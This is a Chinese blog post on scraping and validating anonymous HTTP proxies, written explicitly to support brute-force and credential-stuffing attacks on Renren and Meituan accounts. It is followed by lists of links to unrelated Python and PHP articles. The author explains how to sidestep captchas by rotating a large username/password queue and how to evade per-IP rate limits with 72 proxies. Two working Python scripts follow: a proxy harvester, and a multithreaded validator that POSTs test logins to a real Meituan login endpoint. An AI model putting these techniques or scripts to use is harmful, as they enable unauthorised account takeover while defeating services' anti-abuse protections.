批量获取及验证HTTP代理的Python脚本


Posted in Python onApril 23, 2017

HTTP暴力破解、撞库,有一些惯用的技巧,比如:

1. 在扫号人人网时,我遇到单个账号错误两次,强制要求输入验证码,而对方并未实施IP策略。

我采用维护10万(用户名,密码) 队列的方式来绕过验证码。具体的做法是,当某个用户名、密码组合遇到需要验证码,就把该破解序列挂起,放到队列尾部等待下次测试,继续破解其他账号密码。

这样就可以保证2/3的时间都在进行正常破解和扫号。

2. 在破解美团网某系统账号时,我遇到了单个IP访问有一定限制,请求频率不可过快。于是我挂了72个 HTTP代理来解决这个问题。 看似每个IP的请求都正常,但其实从整个程序上看,效率还是挺可观的。

本篇我发出自己抓HTTP的脚本片段,其实只有几行。匿名代理是从这里抓取的:http://www.xici.net.co/nn/

首先获取代理列表 :

from bs4 import BeautifulSoup
import urllib2


of = open('proxy.txt' , 'w')

for page in range(1, 160):
  html_doc = urllib2.urlopen('http://www.xici.net.co/nn/' + str(page) ).read()
  soup = BeautifulSoup(html_doc)
  trs = soup.find('table', id='ip_list').find_all('tr')
  for tr in trs[1:]:
    tds = tr.find_all('td')
    ip = tds[1].text.strip()
    port = tds[2].text.strip()
    protocol = tds[5].text.strip()
    if protocol == 'HTTP' or protocol == 'HTTPS':
      of.write('%s=%s:%s\n' % (protocol, ip, port) )
      print '%s=%s:%s' % (protocol, ip, port)

of.close()

接着验证代理是否可用,因为我是用于破解美团网系统的账号,因此用了美团的页面标记:

#encoding=gbk
import httplib
import time
import urllib
import threading

inFile = open('proxy.txt', 'r')
outFile = open('available.txt', 'w')

lock = threading.Lock()

def test():
  while True:
    lock.acquire()
    line = inFile.readline().strip()
    lock.release()
    if len(line) == 0: break
    protocol, proxy = line.split('=')
    headers = {'Content-Type': 'application/x-www-form-urlencoded',
      'Cookie': ''}
    try:
      conn = httplib.HTTPConnection(proxy, timeout=3.0)
      conn.request(method='POST', url='http://e.meituan.com/m/account/login', body='login=ttttttttttttttttttttttttttttttttttttt&password=bb&remember_username=1&auto_login=1', headers=headers )
      res = conn.getresponse()
      ret_headers = str( res.getheaders() ) 
      html_doc = res.read().decode('utf-8')
      print html_doc.encode('gbk')
      if ret_headers.find(u'/m/account/login/') > 0:
        lock.acquire()
        print 'add proxy', proxy
        outFile.write(proxy + '\n')
        lock.release()
      else:
        print '.',
    except Exception, e:
      print e

all_thread = []
for i in range(50):
  t = threading.Thread(target=test)
  all_thread.append(t)
  t.start()
  
for t in all_thread:
  t.join()

inFile.close()
outFile.close()
Python 相关文章推荐
Python实现两个list对应元素相减操作示例
Jun 09 Python
浅谈python写入大量文件的问题
Nov 09 Python
python生成n个元素的全组合方法
Nov 13 Python
pandas分别写入excel的不同sheet方法
Dec 11 Python
使用python3批量下载rbsp数据的示例代码
Dec 20 Python
使用 Python ssh 远程登陆服务器的最佳方案
Mar 06 Python
安装pyecharts1.8.0版本后导入pyecharts模块绘图时报错: “所有图表类型将在 v1.9.0 版本开始强制使用 ChartItem 进行数据项配置 ”的解决方法
Aug 18 Python
python+django+selenium搭建简易自动化测试
Aug 19 Python
Python jieba库分词模式实例用法
Jan 13 Python
用python 绘制茎叶图和复合饼图
Feb 26 Python
Python绘制地图神器folium的新人入门指南
May 23 Python
Python 类,对象,数据分类,函数参数传递详解
Sep 25 Python
深入理解python中的select模块
Apr 23 #Python
Python3如何解决字符编码问题详解
Apr 23 #Python
Python制作刷网页流量工具
Apr 23 #Python
Python读取指定目录下指定后缀文件并保存为docx
Apr 23 #Python
正确理解python中的关键字“with”与上下文管理器
Apr 21 #Python
python妙用之编码的转换详解
Apr 21 #Python
简单谈谈Python中的元祖(Tuple)和字典(Dict)
Apr 21 #Python
You might like
php foreach 参数强制类型转换的问题
2010/12/10 PHP
php截取字符串函数substr,iconv_substr,mb_substr示例以及优劣分析
2014/06/10 PHP
PHP去掉json字符串中的反斜杠\及去掉双引号前的反斜杠
2015/09/30 PHP
浅析ThinkPHP缓存之快速缓存(F方法)和动态缓存(S方法)(日常整理)
2015/10/26 PHP
PHP实现时间比较和时间差计算的方法示例
2017/07/24 PHP
PHP观察者模式示例【Laravel框架中有用到】
2018/06/15 PHP
js判断浏览器的比较全的代码
2007/02/13 Javascript
$.ajax json数据传递方法
2008/11/19 Javascript
JQuery文本框高亮显示插件代码
2011/04/02 Javascript
ASP.NET jQuery 实例17 通过使用jQuery validation插件校验ListBox
2012/02/03 Javascript
Vue.js仿Metronic高级表格(二)数据渲染
2017/04/19 Javascript
Vue shopCart 组件开发详解
2018/01/26 Javascript
微信小程序实践之动态控制组件的显示/隐藏功能
2018/07/18 Javascript
微信小程序授权登录及解密unionId出错的方法
2018/09/26 Javascript
微信小程序picker组件关于objectArray数据类型的绑定方法
2019/03/13 Javascript
[06:40]2014DOTA2西雅图国际邀请赛 DK战队巡礼
2014/07/07 DOTA
python根据日期返回星期几的方法
2015/07/06 Python
全面了解python字符串和字典
2016/07/07 Python
Python数据结构与算法之图的基本实现及迭代器实例详解
2017/12/12 Python
OpenCV2.3.1+Python2.7.3+Numpy等的配置解析
2018/01/05 Python
python中format()函数的简单使用教程
2018/03/14 Python
关于python字符串方法分类详解
2019/08/20 Python
Python代码块及缓存机制原理详解
2019/12/13 Python
TensorFlow梯度求解tf.gradients实例
2020/02/04 Python
记一次pyinstaller打包pygame项目为exe的过程(带图片)
2020/03/02 Python
Mac中PyCharm配置Anaconda环境的方法
2020/03/04 Python
互动出版网:专业书籍
2017/03/21 全球购物
StudentUniverse英国:学生航班、酒店和旅游
2019/08/25 全球购物
Aosom西班牙:家具在线商店
2020/06/11 全球购物
日语翻译个人求职的自我评价
2013/10/14 职场文书
《从现在开始》教学反思
2014/04/15 职场文书
工商干部先进事迹
2014/05/14 职场文书
外贸会计专业自荐信
2014/06/22 职场文书
优秀英文求职信范文
2015/03/19 职场文书
oracle删除超过N天数据脚本的方法
2022/02/28 Oracle
悬疑名作《朋友游戏》动画无字ED宣传片 新角色公开
2022/04/13 日漫